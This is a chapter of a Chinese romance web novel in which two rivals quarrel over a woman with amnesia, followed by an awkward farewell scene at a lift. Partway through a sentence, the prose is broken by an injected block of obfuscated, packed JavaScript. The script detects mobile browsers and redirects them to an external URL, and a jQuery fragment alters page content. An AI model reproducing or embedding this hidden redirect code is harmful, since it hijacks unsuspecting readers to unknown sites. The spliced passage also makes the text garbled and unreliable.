14. chapter 14

作品:《零点三秒钟情

    “她现在可不记得你这个未婚夫,如果我要追她,你说,她会不会答应?”


    他就说呢,上次在茶吧,就觉得不对劲。原来竟然是失忆,还把徐经云给忘记了。


    “哎,讨厌鬼,赌不赌?赢了,她归我,输了,各凭本事咯。”


    严弋漫不经心舔了舔嘴角,脖颈忽然被攥紧的衣领勒住。徐经云握紧的拳头抵在他的喉结处。紧紧压迫着,令他吞咽困难。


    他早看严弋不顺眼,学生时代就是如此。面孔绷紧似一张鼓面,声音也在冰箱冷冻室滚过一遭:“严弋,你知道你身上哪点最讨厌吗,就是这副吊儿郎当的态度。我不知道类似你们这些公子哥的爱情观,也不知道你是故意说出这些话来寻刺激,还是真的打算追谢微霜,我无法控制你的行为,但谢微霜她不是一件物品,我希望你能尊重她。”


    徐经云自觉很少失控。今天,他失控了两次,全部与严弋有关。学生时代唯一的一次失控,甚至也与严弋有关。


    那段时间,谢微霜和他冷战,见着他就躲。早上上学提前出门,晚上下晚自习冒着被抓的风险,提前逃课溜走。谢微霜平时叽叽喳喳说个不停,但心里也藏着不肯说出口的小九九。


    谢微霜不是第一次和他冷战,他没放在心上,无非冷两三就天就好了。但新来的转学生和她同桌之后,一切开始朝着不可控的方向而去。


    谢微霜和严弋一次次结伴在他面前经过,她一个眼神也不肯给他。一天、三天、五天、一个星期,两人毫无交流,谢微霜作为英语课代表,连发试卷的时候,也避开他。


    他的心又堵又慌,终于忍不住在第八天晚自习之后,比谢微霜走得更早,将她放学的她堵在家门口。她只是觑他一眼,接着越过他的肩膀往他身后看,严弋一副笑不似笑的表情,就站在楼道里。


    当时的表情复制粘贴在他现在的脸上。


    严弋挺讨厌这种感觉。


    他曾经以为自己喜欢谢微霜,后来琢磨过来,其实没有。他寻求的不过是失去至亲后的精神寄托,谢微霜恰好弥补空缺,将缺角的图形补充完整。


    他承认,每一次的接近,都是故意为之。好不容易得来一件称心的玩具,总有人在一旁虎视眈眈想抢走。想抢走玩具的人,就是徐经云。


    徐经云虽然经常冷脸,情绪不显山不露水,但,唯有一次不太一样。徐经云现在的表情,跟当时他在楼道里看见的一模一样。眼底压着怒意,好像有谁举着火把靠近,故意一把火烧到了身上。


    噢,那个人原来就是他。


    最开始,他并不知道谢微霜又冒什么坏水,明明她每天和徐经云形影不离,就像一对有线耳机,一只在,另一只也在,谢微霜却自己把另一只耳机剪了。他不明所以问:“你老跟我一块儿,不怕你的竹马生气?”


    谢微霜撇嘴:“就是故意让他生气的,气死我了,这个呆子,哄一下能要他命啊。”


    她这么一说,他懂了。合着就是哪里需要往哪里搬的工具人,青梅竹马Play的垫脚石。不过他很配合,也玩得挺开心,毕竟一直以来,他压根算不上什么规规矩矩的好学生。


    那天放学,他还是被谢微霜揪着一起走,充当护花使者以及卖醋瓮。


    一路上,谢微霜频频回头,四下张望,嘴里不知道在自言自语些什么。快要走到家属区单元楼下,她停下脚步,脸色突然变得怪异起来,放轻音量,说:“一会儿我要是给你发消息,你就立刻上楼。”


    “为什么?”


    “你别管了,照做就是了。不会耽误你很长时间。”


    “如果不呢?”


    谢微霜眼睛一斜:“英语小报纸还抄不抄了?”


    他垮着脸,胡乱挥手让她赶紧上楼。早点完事早走人,他约了网友今晚通宵开黑。


    谢微霜说不会耽误太长时间,果然没食言,一局斗地主没打完,手机蹦出消息弹窗。他直接退出游戏,也不管扣掉多少欢乐豆,径直往三楼走。


    还没上至三楼,只见徐经云把谢微霜抵在墙边。


    他停在阶梯上,感觉有那么一瞬间,自己就是公园射击摊上的气球,徐经云的眼神就是不停往外蹦的彩色子弹,气球破了还不肯罢休,仿佛要碎成齑粉才能平息怒意。


    谢微霜不停朝他使眼色,没等他想好怎么让这团怒火燃得更旺,那俩人消失在了眼前。徐经云把谢微霜拽进了对门的屋子里,至于两人在屋里做了什么,他不得而知,只知道第二天上课的时候,谢微霜总时不时傻乐两声。


    刚才在桌上,谢微霜看向徐经云的眼神,又和十年前重叠。


    严弋舌尖碰了碰嘴角,刚要开口让他别反应这么大,开个玩笑而已,却有道声音打断。


    “你们……在干嘛呢?”谢微霜停眼神逡巡间,不停眨眼。


    说要去添麻酱的两个人,已经进厨房好半晌,她怕他们没找到料包,过去一瞧,停顿在门边。


    不知为何,莫名有股怒拔剑张的气氛,包围在徐经云和严弋身边。不过几分钟工夫,这俩人之间究竟发生了何事?难不成,有过矛盾瓜葛?


    喉结上下一滑,徐经云垂下手。


    严弋揉着被衣领勒到的后颈打哈哈:“刚才倒芝麻油漏了一两滴在地板上,不小心踩到,差点往后栽,哎呀,多亏了老徐救了我一把。不然我明天可就坐不上去澳洲的飞机,而是去医院报道看脑袋了。”他说着,哥俩好地搭上徐经云的肩膀,笑嘻嘻拍了拍。


    谢微霜注意力被勾走,惊讶问:“哎?你明天就回去了吗?”


    “嗯。”严弋端起自己的碗,有意无意往旁瞟,和谢微霜并肩往外走,“也该回去了,虽然只是挂名的总,但也总不能吃白饭不是。”


    徐经云掠过前方的背影,听严弋对谢微霜发出的旅行邀请,垂在身侧的手蜷了蜷。手背残留的疼痛和恼意,像一根泛寒光的针,一同刺向心头。


    挤在厨房的人,回到餐桌边,钟念一扫而过,不小心对上徐经云的沉得比墨汁深的眸,笑容僵在脸上。她惹谁不好,非得多嘴去惹徐经云!


    她立马低头,不停动筷子给谢微霜夹菜,假装很忙。碗里的肉和菜快堆成小山包,谢微霜赶忙伸手捂住。


    下半场的轻松氛围跟上半场无异,谢微霜总觉得哪里不对劲,但又说不上来一二。可能只是她疑心太深吧。


    火锅吃完,温居也差不多该收尾,明天并非周末,大家各自有工作要忙,她明天也要早起去一趟虞苒的公司。


    谢微霜送钟念和严弋到过道等电梯,徐经云没回隔壁,反而和谢微霜一起陪着。


    电梯楼层不停跃动,即将抵达前,严弋瞄


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16381321|183830||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了眼站在谢微霜身后的徐经云,挑高眉头:“哎,谢微霜,我明天就去澳洲了,抱一个?”


    嘴上说说就算了,他还真张开双臂。严弋那一句话跟根甩动的跳绳似的,甩到跟前,谢微霜的眼皮和小心脏同步,狠狠一跳,连连后退:“别别别,男女授受不亲啊。”


    她的crush在呢!成何体统!


    忽地,后背贴上一道温热的身躯。没来得及反应,电梯叮一声,提示抵达。


    严弋倒退着,扯着两眼望天的钟念进轿厢,眼睛弯着:“走了,别送了,记得常联系。”


    电梯门缓缓合上,谢微霜这才后知后觉,后背跟贴在铁板烧的铁板上一样,用灼烫来形容也不为过。猛地朝前一步,弹开。


    “不好意思,没有踩到你吧?”


    “没有。”徐经云轻声,“你,有没有磕到哪里?”


    方才谢微霜的后脑勺撞到了他的下巴。


    谢微霜摆手的频率快赶上瓢泼大雨时的雨刮器:“没有没有。”


    “那就好。”徐经云停了瞬,扫过已经下至一楼的电梯,佯装问,“你和严弋关系挺好,经常联系?”


    “没有,我和他很多年没见过了,也就这几天刚碰上。我们以前是高中同学,玩得还行。”说起严弋,她倒是被勾起了好奇心,“能冒昧问一下,你和严弋怎么认识的吗?”


    听闻谢微霜给出的回答,他稍微松一口气,被严弋三言两语就激起的堵塞感,畅通些许。至少在她失忆那段时间,没和严弋有过交集。


    他从来没有控制谢微霜交友,她有不少异性好友、学长,也有一起约着吃饭放松的异性同事,但唯独严弋,总令他心生不安。


    默声几秒,他回复下半截问题:“……以前见过几面,不熟。”


    看上去确实不太熟,甚至……她说不上来,有点像竞争对手的关系。谢微霜头脑风暴,发散思维,说出自己的猜想:“你们不会是情敌吧?”


    徐经云眸底倒映她藏不住八卦心思的小表情,凝着一口气不知如何下咽。


    他确实一直把严弋当情敌,和谢微霜在一起后,也总吃醋。他不乐意谢微霜和严弋走那么近,她反倒说他想太多,不过是朋友而已。


    他也不知道气怎么消下去的,大概是谢微霜偷偷在课桌下和他牵手。又或是立起试卷假装讨论问题,以迅雷不及掩耳之势,对着唇,啜他一口、两口、三口。吻是甜的,沾了蜜,她身上也总是甜的。


    徐经云不太自然地将目光从她面庞移走。


    没等他开口,谢微霜指节碰了碰鼻尖:“抱歉,我好像问太多了。我先进屋了,徐先生早点休息。”


    “今天多谢款待。你也是,早点休息。”徐经云脚下一动,又停住,“谢小姐,不用总叫我徐先生,太见外了。”


    “哎。”谢微霜一愣,“好像是有点。”


    该如何称呼更妥帖?


    其实她已经忍不住脑补追到徐经云后的粉红色场景,她光明正大喊他男朋友。


    男朋友早安;男朋友晚安。


    “那——”


    “男朋友——”


    身份指向性很强的三个字脱口而出,谢微霜傻眼了。


    坏了!


    嘴巴不小心成了心声的嘴替!


    她明明要说的是邻居!